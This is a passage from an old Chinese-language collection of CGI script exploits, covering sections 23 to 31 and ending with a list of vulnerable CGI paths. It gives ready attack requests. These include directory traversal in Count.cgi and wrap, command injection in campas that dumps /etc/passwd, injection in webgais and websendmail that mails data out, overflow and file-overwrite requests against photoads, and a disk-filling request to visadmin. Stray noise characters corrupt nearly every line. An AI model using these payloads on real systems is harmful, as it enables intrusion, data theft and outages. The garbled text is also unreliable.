setenv("HTTP_USER_AGENT",qs,1);
5 P& H. i' l. y$ e2 ksetenv("QUERY_STRING",qs,1);4 N- P2 G* ~: b! C( C
system("./Count.cgi");
% W3 f( J+ T2 \/ h; ]% y3 D*/
7 J# I' K  P: Q# n9 r}/ m" T0 e& o8 Z- Q% N0 ]
用Count.cgi看图片. \4 S+ t, V4 F( @
http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../../../.
5 E2 f3 ?& B( |4 l1 X0 f0 _./../path_to_gif/file.gif( n8 c- E0 s3 u( Y2 t( i( R7 f
二十三.finger.cgi
, L/ p; p2 \$ b1 G2 s5 u* Llynx http://www.victim.com/cgi-bin/finger?@localhost
* O) F7 g2 y- D! P8 D得到主机上登陆的用户名.
) R* ?2 l2 d6 u' Y: K二十四.man.sh
8 u! ]4 `4 l, f! r6 aRobert Moniot found followung. The May 1998 issue of SysAdmin1 f. j$ y- _  o* ~4 D
Magazine contains an article, "Web-Enabled Man Pages", which
; z: W  X2 _( N( b: ~9 t5 W9 Cincludes source code for very nice cgi script named man.sh to feed
0 m0 S+ C1 K  v2 wman pages to a web browser. The hypertext links to other man
$ g2 d) L" L; H; `: _0 ~1 C' Rpages are an especially attractive feature.
3 _: A2 t$ x1 hUnfortunately, this script is vulnerable to attack. Essentially,! G" {9 X" I2 J  [& r1 u: t5 D
anyone who can execute the cgi thru their web browser can run any
( j& t% j0 A* u- O5 h0 @" T, Fsystem commands with the user id of the web server and obtain the5 l( Y- F$ f/ p& a4 |2 b9 n8 ?) L& a: }
output from them in a web page.
+ B, W4 r* z, ^  ?  c+ s8 S二十五.FormHandler.cgi
$ Z4 e" g/ A% v/ @+ b: W在表格里加上1 N: _7 V: a8 t  H. I* X" x0 q0 p
你的邮箱里就有/etc/passwd# D8 C: l* Y0 \% }6 S
二十六.JFS
- N* C$ U' w1 J3 H3 j3 W1 S相信大家都看过"JFS 侵入 PCWEEK-LINUX 主机的详细过程"这篇文章,他利用photoads8 v. q5 N9 P2 _- Z4 B% e" m, g
这个CGI模块攻入主机. 我没有实际攻击过,看文章的理解是这样. a( l1 F  Z) c2 f; T' C# G
先lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/edit.cgi?AdNum=31
7 q% _/ ~# n  y+ L; E* T& o% d0 {337&action=done&Country=lala&City=lele&State=a&EMail=lala@hjere.com&Name=%0a/ T( f  C5 }9 [6 z0 k
1111111111111111111111111111111111111111111111111111111111111111111111111111. \2 j* h  T1 q- f  [0 r" _
11111111111111111111111111111111111111111111 1111111111111111111111111111111
5 C+ U1 x$ l/ k$ R1 w1111111111111111111111111111111111111111111111111111111111111111111111111111/ ]1 i* Q% v7 A% _3 a
111111111111111 111111111111111111111111111111111111111111111111111111111111( t; O! J( H" X3 o% O, j4 ~2 M
11111111111111111111111111111111111111111111111111111111111111 1111111111111
" m  E: r0 \9 M  j& R8 h8 `) B1111111111111111111111111111111111111111111111111111111111111111111111111111
% b' I% N( W8 @( ^, b( e111111111111111111111111111111111 111111111111111111111111111111111111111111
; q# \1 d/ }9 f9 U, b3 V1111111111111111111111111111111111111111111111111111111111111111111111111111+ U1 u0 U4 \5 n9 `' z3 w
1111 11111111111111111111111111111111111111111111111111111111111111111111111
6 v2 H% [9 o1 Y7 C111111111111111111111111111111111111111111111111111 111111111111111111111111
1 t& X) J6 X9 N' V( ~: q+ }( k1111111111111111111111111111111111111111111111111111111111111111111111111111; t9 K9 A7 g  k0 t& @% L2 ^; N- X
1111111111111111111111 11111111111111111111111111111111111111111111111111111' q5 @/ v3 }" |1 e1 G" ^
111111111111111111111111111111111111111111111111111111111111111111111 1111112 c& w! |5 j( ?5 k8 b- q9 e4 l9 e8 t
1111111111111111111111111111111111111111111111111111111111111111111111111111
& K7 u7 ?2 s8 ~# k4 p( f6 E! {1111111111111111111111111111111111111111 111111111111111111111111111&Phone=1
5 Z) {$ i3 T4 |% N- U  Y; Q3 z1&Subject=la&password=0&CityStPhone=0&Renewed=0"
/ i* M, {0 V" ~6 @创建新AD值绕过 $AdNum 的检查后用
( E; U8 U. S& ^% s1 x* w0 V# b" Klynx 'http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?file=a.jp
- X2 O+ i1 a% g$ e% ~1 mg&AdNum=11111111111111111111111111111111111111111111111111111111111111111111- I! r/ L2 a9 B  j
111111111111111111111111111111111111111111111111111111 111111111111111111111
/ x! Q6 c8 H( A4 e! v* Y' s4 @! {" T11111111111111111111111111111111111111111111111111111111111111111111111111113 R4 H& M4 q9 T1 x
1111111111111111111111111 11111111111111111111111111111111111111111111111111% Y( A6 ]9 e) `2 n
111111111111111111111111111111111111111111111111111111111111111111111111 111
) z) c7 n1 U6 I5 a. Z5 B1111111111111111111111111111111111111111111111111111111111111111111111111111
' o1 L9 \$ ^/ o8 w( \3 b) {1111111111111111111111111111111111111111111 111111111111111111111111111111114 d2 b) J8 F0 d5 g& k
11111111111111111111111111111111111111111111111111111111111111111111111111119 Y# {! [0 s: Q; j0 r$ Z
11111111111111 1111111111111111111111111111111111111111111111111111111111111
/ H5 E& g, a6 t* `8 j, |1111111111111111111111111111111111111111111111111111111111111 111111111111116 O" @9 R0 e) K6 l; I% b# W
1111111111111111111111111111111111111111111111111111111111111111111111111111+ Y8 P; i) q2 ]; B; _
11111111111111111111111111111111 1111111111111111111111111111111111111111111/ S! X2 }( R2 L3 k1 w1 s4 ]
11111111111111111111111111111111111111111111111111111111111111111111111111112 c& c1 O. ]* t
111 1111111111111111111111111111111111111111111111&DataFile=1&Password=0&FIL
6 b. a6 A: k# {E_CONTENT=%00%00%00%00%00%00%00%00%00%00%00%00%00&FILE_NAME=/lala/\../../../
0 n# d4 G/ Z/ `7 c$ [../../../../home/httpd/html/photoads/cgi-bin/advisory.cgi%00.gif'4 |. z. {* S  }) D4 U
创建/覆盖用户 nobody 有权写的任何文件.
  m0 P: E5 }" L9 [不知我的理解是否对,在它的zip包里我找不到to_url脚本,不知哪位同志知道?
# V2 j; {4 |. P' @( [$ ~二十七.backdoor- n5 w& |  B4 j3 e- F; V/ Y
看到现在一些cgichk.c里都有检查木马unlg1.1和rwwwshell.pl% }! ^: B8 B' V- ?
前一个是UnlG写的,我没见过源码,有一个是THC写的,packetstorm里有它1.6版的源码.
8 ^" w7 z, r6 T9 q: d; o二十八.visadmin.exe
, O! K6 G0 M0 g& V/ Yhttp://omni.server/cgi-bin/visadmin.exe?user=guest- p' @8 K7 b' p5 j7 B' h& y
这个命令行将不停的向服务器的硬盘里写东西,知道写满为止.1 a) j+ N/ i& j  q/ I- ]( T. F: K
二十九.campas& p6 D9 e) L) d. H1 f
> telnet www.xxxx.net 80
" E1 {( p9 v6 P5 I+ N: X. b) c- Y. eTrying 200.xx.xx.xx...
8 R/ O. w7 j5 h. }+ F3 s3 K. CConnected to venus.xxxx.net, V* L: y( ?6 S+ d" k- y
Escape character is '^]'.9 |; Z* i7 A& o
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a' ?* G: L  `& k/ M/ Q& n
root:x:0:1:Super-User:/export/home/root:/sbin/sh
2 r1 ~- @4 {' l( t7 Qdaemon:x:1:1::/:
# F1 [# m( o, [0 u% |, Abin:x:2:2::/usr/bin:  R6 p: i- J$ e" s
sys:x:3:3::/:1 N; r5 E* w" Q$ \0 o- s" P8 \
adm:x:4:4:Admin:/var/adm:% W) b5 P7 D& S; \' w1 O9 j; |' d
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
4 h; b9 J# ~6 H1 {smtp:x:0:0:Mail Daemon User:/:/bin/false
" b6 P1 |1 t7 ^  t' z/ a.... 接下来你知道该干什么了吧 :P' r1 x6 P' z( n
三十.webgais  E( C3 c. E- O4 g" L* L
query=';mail+foo@somewhere.nettelnet target.machine.com 804 K7 d- O( U! @, O7 h
POST /cgi-bin/webgais HTTP/1.0% V& Q# W- k; l% f" f: |1 i
Content-length: 85 (replace this with the actual length of the "exploit"4 {- i( h0 m: Z8 M
line)
5 p% D6 p0 q; v) g$ t% h" f; d8 Pquery=';mail+drazvan\@pop3.kappa.roparagraph
, Q5 I5 R8 x( S& C8 f7 Ltelnet target.machine.com 802 U5 ?$ q( e3 Y% F$ Z- X
POST /cgi-bin/websendmail HTTP/1.0
1 p2 [3 v5 ^- @# ^Content-length: xxx (should be replaced with the actual length of the
  @" k& f9 G8 ]( l" U; e/ wstring passed to the server, in this case xxx=90)7 c$ H0 n$ A4 s# j4 S1 z; l, s) g! O2 D
receiver=;mail+your_address\@somewhere.orgubject=a
" h  I- C1 H6 S  H& O- f8 R0 B&content=a
6 B7 B, s' t" C- V3 I三十一.wrap
. F( _( j* n! w) hhttp://sgi.victim/cgi-bin/wrap?/../../../../../etc
) O, R6 A2 \2 q7 n8 q列出etc目录里的文件% D' D- x2 Q4 K
下面是可能包含漏洞的所有CGI程序名,至于其他更多的漏洞,正在收集整理中,这里也衷
+ t5 N3 }9 P" e& c, ?8 d$ ]7 ^心的希望得到你的批评与指教.6 K% D9 M0 O; }! d
/cgi-bin/rwwwshell.pl/ T9 ?6 M4 X* g, u, P0 Y
/cgi-bin/phf
* Z  T0 q! X1 N6 x3 U1 V/cgi-bin/Count.cgi
, P8 Z. _- q& D/cgi-bin/test.cgi
* a4 u9 g3 Q3 d0 N/cgi-bin/nph-test-cgi
% b% `& ?6 G2 G& L/ ?/cgi-bin/nph-publish
% O0 H0 P$ s3 q/cgi-bin/php.cgi
: E. T& L+ Z, R/cgi-bin/handler" R0 n- m5 `1 H
/cgi-bin/webgais* L* F8 D9 Y; T* }# T
/cgi-bin/websendmail: w" X; P4 C; r$ b% c
/cgi-bin/webdist.cgi& g# {  X6 c8 }$ p+ ~! M  `+ U7 N
/cgi-bin/faxsurvey
) u% C$ y  S4 e' Q* _4 m/cgi-bin/htmlscript /cgi-bin/pfdisplay.cgi
3 `' E. y5 I3 w5 X% X$ z/cgi-bin/perl.exe0 r* {4 P) j8 I2 x8 i9 o8 [7 [
/cgi-bin/wwwboard.pl  z. L" n5 h$ \1 u, d
/cgi-bin/www-sql+ f7 F  F3 j" W. t  X$ Z* v4 p
/cgi-bin/view-source
3 w$ V" a, \( Y! B$ Y' r/cgi-bin/campas
4 D% Y5 I2 O' E, |! K/cgi-bin/aglimpse( x0 i- o/ s3 L4 ^$ I! m
/cgi-bin/glimpse  M6 s) r9 U- ?0 z
/cgi-bin/man.sh8 {* D. a% s9 r9 f' K
/cgi-bin/AT-admin.cgi, q" P3 a5 K- r; x" r9 F' X' O
/scripts/no-such-file.pl2 z+ }! e* O& u! l7 ], J
/_vti_bin/shtml.dll
* C7 i! l; \1 {' C& C/_vti_inf.html2 V; d' H' Z4 K2 J+ I. U
/_vti_pvt/administrators.pwd
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